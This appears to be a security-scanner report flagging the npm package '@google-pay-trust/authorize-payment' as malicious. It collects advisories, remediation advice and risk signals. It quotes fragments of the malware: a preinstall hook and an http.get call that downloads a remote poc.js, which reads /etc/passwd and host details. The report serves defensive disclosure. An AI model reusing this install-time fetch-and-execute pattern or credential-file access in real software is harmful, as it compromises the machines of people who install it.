All @google-pay-trust/authorize-payment versions
@google-pay-trust/authorize-payment @99.0.4
authorize-payment utilities
Maintainers
Keywords
SAST Findings (6)
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (34948be5ad2a3e52a1e1c577dafd82b6711762743bfd51bfd6433e7a780f7e36) The package @google-pay-trust/authorize-payment was found to contain malicious code. ## Source: ghsa-malware (a3c965db6dc89be436f9026425d1845683a12f6f1252f1444239950447a21d4c) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. ## Source: ossf-package-analysis (de06d11b0320a07fc7f95aaf663e801e7cfea1bac2cb278cee549d95e4f1aad0) The OpenSSF Package Analysis project identified '@google-pay-trust/authorize-payment' @ 99.0.1 (npm) as malicious. It is considered malicious because: - The package executes one or more commands associated with malicious behavior.
Script: node preinstall.js
Matched 5 signal(s), weighted score 7: • [S_KNOWN_SPAM_PUBLISHER] Maintainer(s) previously flagged as spam: m0ntana. • [S_NO_REPO_NO_HOME] No repository, homepage, or bugs URL — genuine packages almost always link somewhere. • [S_NO_DEPS] No runtime, dev, peer, or optional dependencies declared. • [S_TINY_PAYLOAD] Tiny payload: 3 code file(s), 2058 bytes total. • [S_EMPTY_MAIN] Entry point (index.js) is 21 bytes — effectively empty.
Accessing /etc/passwd or /etc/shadow — credential harvesting on Linux 11 | const pkg = (raw.startsWith("@") ? raw.split("/")[1] : raw).replace(/[^a-z0-9-]/gi, "-"); 12 | > 13 | // Fetches poc.js (safe PoC: whoami/hostname/ifconfig + /etc/passwd only) 14 | http.get(`http://${pkg}.${scope}.${BASE}/poc.js`, { timeout: 8000 }, (res) => { 15 | let body = "";
Accessing /etc/passwd or /etc/shadow — credential harvesting on Linux 11 | const pkg = (raw.startsWith("@") ? raw.split("/")[1] : raw).replace(/[^a-z0-9-]/gi, "-"); 12 | > 13 | // Fetches poc.js (safe PoC: whoami/hostname/ifconfig + /etc/passwd only) 14 | http.get(`http://${pkg}.${scope}.${BASE}/poc.js`, { timeout: 8000 }, (res) => { 15 | let body = "";
Package was published without Sigstore provenance. Only ~12% of npm packages have provenance, so this is common but not ideal.
Review Summary
Risk score: 100 (capped from 163). Findings: 1 critical (+40), 4 high (+100), 2 medium (+20), 1 low (+3), 1 info (+0).
Published to npm: